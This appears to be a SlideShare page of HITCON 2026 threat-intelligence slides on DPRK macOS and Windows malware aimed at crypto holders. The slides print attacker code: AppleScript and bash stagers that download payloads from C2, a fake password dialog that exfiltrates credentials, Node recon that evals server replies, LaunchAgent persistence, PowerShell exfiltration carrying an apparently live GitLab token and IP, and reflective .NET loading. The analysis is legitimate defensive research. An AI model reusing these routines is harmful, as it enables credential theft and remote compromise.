Downloaded 41 times
- 1 / 36
- 2 / 36
- 3 / 36
- 4 / 36
Most read - 5 / 36
- 6 / 36
- 7 / 36
- 8 / 36
![Stage 1: The Compiled AppleScript Lure
Initial Attribution Signal
Lure themes mimicked APT38 crypto targeting — a reminder
to cross-reference infrastructure, not just themes.
Masquerade Technique
Files appear as .docx/.pptx but are compiled AppleScript
(.scpt) bundles — double-clicking executes the script.
Fake UI Prompt
Victim sees a fake "compatibility issue" dialog prompting ⌘+R
to run a "Compatibility Wizard." No exploit needed.
Under the Hood
Real payload is buried 1,000+ lines in. It runs:
Results are sent via curl to the next-stage server, encoded in the URL.
set cpu_type to do shell script "uname -m"
set verString to do shell script "sw_vers -productVersion"
set langs to do shell script "defaults read -g AppleLanguages"
set AppleScript's text item delimiters to {"(", """, "-", ","}
set langCode to text item 3 of langs
set ptSelf to POSIX path of (path to me)
set savePath to do shell script "dirname " & quoted form of ptSelf
set saveFile to savePath & "/" & ".ex.scpt"
set ur to "https://[c2 domain]/compatibility/down.php?u=0&tm=10amotcp15&ver="
& verString & "&type=" & cpu_type & "&langC=" & langCode
do shell script "curl -sLk -o " & quoted form of saveFile & " " & quoted form
of ur
delay 0.2](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-8-320.jpg)
- 9 / 36
![Stage 2: The Pixel-Perfect Fake System Dialog
The ASObjC Bridge
Instead of AppleScript's obvious display dialog, the malware
uses the ASObjC bridge to spawn a real NSWindow —
indistinguishable from a genuine macOS dialog.
What the Dialog Shows
• Real macOS system icon pulled from a remote server
• Title: "Software Update"
• Body: "System Settings wants to make changes. Enter your
password."
• Username pre-filled via whoami to build trust
• Password field masked — just like the real prompt
Stealing and Validating the Password
• On "OK", the password is base64-encoded and exfiltrated
• Validated locally with dscl /Search -authonly.
• If wrong, the window shakes and prompts again.
on okClicked:sender
set v1 to userId's stringValue() as text
set v2 to pwdInput's stringValue() as text
set v1_b64 to base64encode(v1)
set v2_b64 to base64encode(v2)
try
set ur to "https://[c2 domain]/compatibility/down.php?u=x&ac=" & v1_b64 &
"&qd=" & v2_b64
do shell script "nohup curl -Lk " & quoted form of ur & " >/dev/null 2>&1
&"
do shell script "dscl /Search -authonly " & quoted form of v1 & " " &
quoted form of v2
myWindow's orderOut:me
set startProgress to true
on error errMsg
shakeWindow()
pwdInput's selectText:me
end try
end okClicked:](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-9-320.jpg)
- 10 / 36
- 11 / 36
![Stage 3: Bash Stager
Detects CPU architecture and downloads the matching
Node.js standalone binary, then fetches and launches the
malicious index.js.
• Checks uname -m — arm64 vs x86 → different download URL
• Downloads Node.js bundle → unpacks to ~/.nodes
• Fetches index.js from C2, base64-decodes it
• Launches Node.js with the malicious script
#!/bin/bash
D_URTT="https://[C2 domain]/css/controller.php?req="
T_DIR="$HOME/.nodes"
S_F="$T_DIR/index.js"
Z_F="$HOME/.nodes.zip"
N_BIN="$T_DIR/bin/node"
# Cleanup Previous Archive
rm -f "$Z_F"
# Architecture Detection & URL Selection
if [ "$(uname -m)" = "arm64" ]; then
D_UR="${D_URTT}instd"
else
D_UR="${D_URTT}tell"
fi
# Stage 1: Download & Extract Node.js Bundle
curl -sLk "$D_UR" | base64 -D > "$Z_F"
rm -rf "$T_DIR"
mkdir -p "$T_DIR"
unzip -o "$Z_F" -d "$T_DIR"
cd "$T_DIR"
# Stage 2: Download JavaScript Payload
D_UR="${D_URTT}skip"
TMP_D=$(mktemp)
curl -sLk "$D_UR" -o "$TMP_D"
base64 -D -i "$TMP_D" -o "$S_F"
rm -f "$TMP_D"
# Execute Payload
chmod +x "$N_BIN"
"$N_BIN" "$S_F"](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-11-320.jpg)
Most read - 12 / 36
![Stage 4: Recon Script
Builds a full victim profile and exfiltrates it to C2 —
then eval()s the server's response as live code.
• Collects OS, CPU, memory, disk, network, and
process info
• Cross-platform: Linux, macOS, Windows
supported
• POSTs JSON to C2 script
• Response is base64-decoded and executed via
eval()
let postBody = {Platform:os.platform()};
let osInfo = ["uname -a", "sw_vers", "wmic os get Caption, Version, BuildNumber"];
let cpuInfo = ["lscpu", "sysctl -a | grep cpu", "wmic cpu get Name, NumberOfCores,
NumberOfLogicalProcessors"];
let memInfo = ["free -h", "top -l 1 | grep PhysMem", "wmic OS get
FreePhysicalMemory,TotalVisibleMemorySize"];
let diskUsage = ["df -h", "df -h", "wmic logicaldisk get DeviceID, Size, FreeSpace"];
let networkInfo = ["ifconfig", "ifconfig", "ipconfig"];
let proc = ["ps aux", "ps aux", "tasklist"];
uid = pf_list[os.platform()];
postBody.OS = await runCommand(osInfo[uid]);
postBody.CPU = await runCommand(cpuInfo[uid]);
postBody.Memory = await runCommand(memInfo[uid]);
postBody.Disk = await runCommand(diskUsage[uid]);
postBody.Network = await runCommand(networkInfo[uid]);
postBody.Process = await runCommand(proc[uid]);
const response = await fetch(`https://[c2 domain]/node/handler.php?u=${uid}`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(postBody)
});
const data = Buffer.from(Buffer.from(await response.arrayBuffer()).toString('utf8'),
'base64').toString('utf8');
eval(data);](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-12-320.jpg)
- 13 / 36
![Stage 5: Persistence
Installs a LaunchAgent and drops supporting files to ensure
the backdoor survives reboots and restarts automatically.
• Creates ~/Library/com.apple.commonjs/ directory
• Downloads default.js, package.json from C2
• Installs com.apple.commonjs.plist as a LaunchAgent
• Copies node_modules for self-contained execution
• Masquerades as a legitimate Apple system component
const app_label = "com.apple.commonjs"
const dirPath = `${process.env.HOME}/Library/${app_label}`;
const launchAgentPath =
`${process.env.HOME}/Library/LaunchAgents/${app_label}.plist`;
fs.mkdirSync(dirPath, { recursive: true });
const package_json = `${dirPath}/package.json`;
const scriptPath = `${dirPath}/default.js`;
const node_mod_src = path.join(__dirname, 'node_modules');
const node_mod_dst = path.join(dirPath, 'node_modules');
try {
fs.cpSync(node_mod_src, node_mod_dst, { recursive: true, force: true });
} catch (error) {
}
const launchAgent_patterns = [
{pattern: /#EXEC#/g, replacement: process.execPath},
{pattern: /#WORK#/g, replacement: dirPath},
{pattern: /#PATH#/g, replacement: process.env.PATH},
{pattern: /#HOME#/g, replacement: process.env.HOME}
];
const ur_tpl = 'https://[c2 domain]/inc/register.php?req=';
const d_30 = await downloadFile(`${ur_tpl}frame`, package_json);
const d_31 = await downloadFile(`${ur_tpl}hold`, scriptPath);
const d_32 = await downloadFile(`${ur_tpl}save`, launchAgentPath,
launchAgent_patterns);](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-13-320.jpg)
- 14 / 36
![Stage 6: Log Upload &
Final Payload
Exfiltrates staging logs to C2, then downloads and launches
the FileRATClient backdoor.
• Reads output.log and error.log, base64-encodes and
sends to C2
• Deletes uploaded log files after sending
• Receives base64-encoded response → saves as
addon.js
• Spawns addon.js as a detached child process
• Loops every 10 minutes via setTimeout
const {fetch} = await import("zx");
const scriptPath = `${__dirname}/addon.js`;
const upload_files = [`${__dirname}/output.log`,
`${__dirname}/error.log`];
async function work() {
new_down = false;
await Promise.all([
UploadFiles(`https://[c2 domain]/inc/register.php?req=follow`,
upload_files, scriptPath),
]);
if( new_down ) {
const { spawn } = require("child_process");
const child = spawn(process.execPath, [scriptPath], { windowsHide:
true, detached: true, stdio: "ignore", shell: true});
child.unref();
}
setTimeout(work, 600000);
}
work();](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-14-320.jpg)
- 15 / 36
![The Payload: FileRATClient
Scale and Architecture
Cross-platform, modular, WebSocket-driven — 4,100 to
8,000+ lines of backdoor code.
AI Development Signal
Consistent formatting, detailed comments, and
emoji-filled debug logs point to AI-assisted authorship.
Backdoor Capabilities
FileRATClient operates as a full remote access trojan with
separate channels per function.
class FileRATClient {
constructor(serverUrl = 'ws://localhost:80') {
this.serverUrl = serverUrl;
this.ws = null;
this.fileTransferWs = null; // Dedicated connection for file transfers
this.clientId = this.generateClientId();
clearInterval(this.heartbeatInterval);
this.heartbeatInterval = null;
logger.info('💔 Heartbeat mechanism stopped');
}
...
// Phase 3: Long-term survival (30 minutes) - for extended outages
interval = 5 * 60 * 1000 + jitter; // 30 minutes
logger.info(`🔄 [Phase 3] Long-term reconnection in ${(interval / 1000 /
60).toFixed(1)} minutes... (attempt ${this.reconnectAttempts}/100)`);
...
// Start the client
logger.info(`🚀 FileRAT Client started - ${os.hostname()}
(${os.platform()})`);](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-15-320.jpg)
- 16 / 36
- 17 / 36
- 18 / 36
- 19 / 36
- 20 / 36
![s1: Victim Reconnaissance
Full Host Profile
The s1 script builds a detailed victim profile before executing:
MAC address and external IP
Hostname and username
OS version and build
CPU model and core count
RAM (total and available)
Running processes
AV product enumeration
# --- Build report ---
$sb = [System.Text.StringBuilder]::new()
[void]$sb.AppendLine('=== COMPUTER INFORMATION ===')
[void]$sb.AppendLine(('Generated: {0}' -f (Get-Date).ToUniversalTime()))
[void]$sb.AppendLine(('MAC Address: {0}' -f $mac))
[void]$sb.AppendLine(('IP Address: {0}' -f $ip))
[void]$sb.AppendLine(('Computer Name: {0}' -f $env:COMPUTERNAME))
[void]$sb.AppendLine(('User: {0}' -f $env:USERNAME))
[void]$sb.AppendLine(('Operating System: {0}' -f $os.Caption))
[void]$sb.AppendLine(('OS Version: {0}' -f $os.Version))
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== HARDWARE SPECIFICATIONS ===')
[void]$sb.AppendLine(('CPU: {0}' -f $processor.Name))
[void]$sb.AppendLine(('CPU Cores: {0}' -f $processor.NumberOfCores))
[void]$sb.AppendLine(('CPU Threads: {0}' -f $processor.NumberOfLogicalProcessors))
[void]$sb.AppendLine(('Total RAM: {0} GB' -f $totalRamGB))
[void]$sb.AppendLine($ramDetailsLine)
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== INPUT METHOD / IME ===')
[void]$sb.AppendLine(($imeLines -join $sep))
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== INSTALLED ANTIVIRUS SOFTWARE ===')
[void]$sb.AppendLine(($avLines -join $sep))
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== PROCESS SUMMARY ===')
[void]$sb.AppendLine(('Total Running Processes: {0}' -f @($processes).Count))
[void]$sb.AppendLine(('Total Memory Usage: {0} MB' -f $totalWorkingSetMB))
$grouped = $processes | Group-Object {
if ($_.Path) { Split-Path $_.Path -Leaf } else { $_.ProcessName }
} | Sort-Object Name
foreach ($g in $grouped) {
[void]$sb.AppendLine(('{0} ({1})' -f $g.Name, $g.Count))
}
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== RUNNING PROCESSES (Detailed) ===')
[void]$sb.AppendLine(($processes | Format-Table -AutoSize | Out-String).TrimEnd())](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-25-320.jpg)
![s1: Victim Reconnaissance
Dual-Channel Exfiltration
The profile is sent over two simultaneous channels:
GitLab Commit
Stored in the attacker's log repo — searchable and indexed.
C2 HTTP POST
POSTed live to the C2 server for immediate review.
Redundancy ensures delivery if one channel fails. The GitLab copy
acts as a victim database — giving us direct operational insight.
$projectPath = "ekek2-group/ekek2-log-project";
$token = "glpat-PW4Bc_bnugNaMzPTxJYqPG86MQp1Omlma3UxCw.01.121ue0rjl";
$ref = "main";
$checkUrl =
"https://gitlab.com/api/v4/projects/$([System.Web.HttpUtility]::UrlEncode($projectPath))";
$checkHeaders = @{ 'PRIVATE-TOKEN' = $token };
$encodedProjectPath = [System.Web.HttpUtility]::UrlEncode($projectPath);
$encodedFilePath = [System.Web.HttpUtility]::UrlEncode("logs/$fileName");
$url =
"https://gitlab.com/api/v4/projects/$encodedProjectPath/repository/files/$encodedFilePath";
$body = @{
branch = $ref;
content = $logContent;
commit_message = "Process log upload - $timestamp";
encoding = "text";
} | ConvertTo-Json;
$backupServerUrl = "http://161.97.113.34:3001";
$backupBody = @{
title = "System Log - $timestamp";
content = $logContent;
} | ConvertTo-Json;
try {
$backupResponse = Invoke-RestMethod -Uri "$backupServerUrl/api/textcontent" `
-Method Post `
-ContentType "application/json" `
-Body $backupBody;
} catch {
}](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-26-320.jpg)
![s2: Reflective .NET Load
Reflective In-Memory .NET Loading
Once through the gate, the payload runs entirely in memory:
Downloads a GZIP blob from GitLab with a corrupted
RTF-like header to evade file-type detection
Fixes the correct 1F 8B 08 00 00 00 00 00 header in
memory
Decompresses and executes via Assembly.Load() —
nothing touches disk
If reflective loading fails, a fallback writes to %TEMP%Simular_.exe.
# Download remote payload bytes
try {
[byte[]] $downloadedBytes = (Invoke-WebRequest -Uri $fileUrl -Headers $headers
-UseBasicParsing).Content
} catch {
exit 1
}
# Validate payload length (needs at least 8 bytes for header rewrite)
if ($downloadedBytes -eq $null -or $downloadedBytes.Length -lt 8) {
exit 1
}
# Restore GZIP header bytes
$downloadedBytes[0] = 0x1F
$downloadedBytes[1] = 0x8B
$downloadedBytes[2] = 0x08
$downloadedBytes[3] = 0x00
$downloadedBytes[4] = 0x00
$downloadedBytes[5] = 0x00
$downloadedBytes[6] = 0x00
$downloadedBytes[7] = 0x00
function Expand-GzipBytes {
param (
[Parameter(Mandatory = $true)]
[byte[]] $compressedBytes
)
$inputStream = New-Object System.IO.MemoryStream(, $compressedBytes)
$outputStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $inputStream,
([IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo($outputStream)
$gzipStream.Close()
$inputStream.Close()
Fetched payload:](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-28-320.jpg)
![--------- [2026/01/24 20:55:35] [xeno rat server - File manager.cs - Microsoft Visual Studio (Administrator)] ---------
--------- [2026/01/25 07:11:52] [POSTGRESQL-SETUP.md - Tralert - Cursor [Administrator]] ---------
--------- [2026/01/25 07:22:57] [reg.ps1 - 2.key_logger - Cursor [Administrator]]
Operator OPSEC Failures
The operators keylogged their own machines then pushed that output to their own GitLab repos.
Actively Editing Xeno RAT
Caught in Visual Studio — still building the tool
mid-operation
AI-Assisted Attack Dev
Used Cursor AI to write PowerShell directly on the operator
machine
Plaintext Passwords Exposed
Plaintext passwords on clipboard — captured by their
own keylogger
Google Searches
Searches: "MetaMask," "hardware wallets," "how can I
know windows password with powershell"
--------- [2026/01/24 20:39:40] [meta mask chrome extension - Google Search - Google Chrome] ---------
--------- [2026/01/24 21:01:24] [how can I know windows password with powershell - Google Search - Google Chrome] ---------
--------- [2026/01/25 07:17:14] [ledger windows app install - Google Search - Google Chrome] ---------
--------- [2026/01/25 08:56:31] [powershell copy file - Google Search - Google Chrome] ---------
--------- [2026/01/25 09:35:15] [how can i copy all data from bluestack in windows? - Google Search - Google Chrome] ---------](https://image.slidesharecdn.com/notjustspiesanymoredprksespionageactorsarecomingforyourcrypto-260825111853-3d34bced/85/HITCON-2026-Slide-Not-Just-Spies-Anymore-DPRK-s-Espionage-Actors-Are-Coming-for-Your-Crypto-30-320.jpg)
Skip to main content
Uploaded bySeong Su Park
HITCON 2026 Slide- Not Just Spies Anymore: DPRK's Espionage Actors Are Coming for Your Crypto
Explore how North Korean APT groups Konni and Kimsuky shift from espionage to crypto theft using AI-assisted macOS malware, fake trading platforms, and sophisticated infection chains.
![[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...](https://cdn.slidesharecdn.com/ss_thumbnails/d2t1s04zih-cingliaoyu-tungchnagclouddragonscredentialfactoryispoweringupitsespionageactivitiesagains-230102085356-8e46661b-thumbnail.jpg?width=640&height=640&fit=bounds)
![CODE BLUE 2014 : Physical [In]Security: It’s not ALL about Cyber by Inbar Raz](https://cdn.slidesharecdn.com/ss_thumbnails/cb14inbarrazen-150622045458-lva1-app6892-thumbnail.jpg?width=640&height=640&fit=bounds)
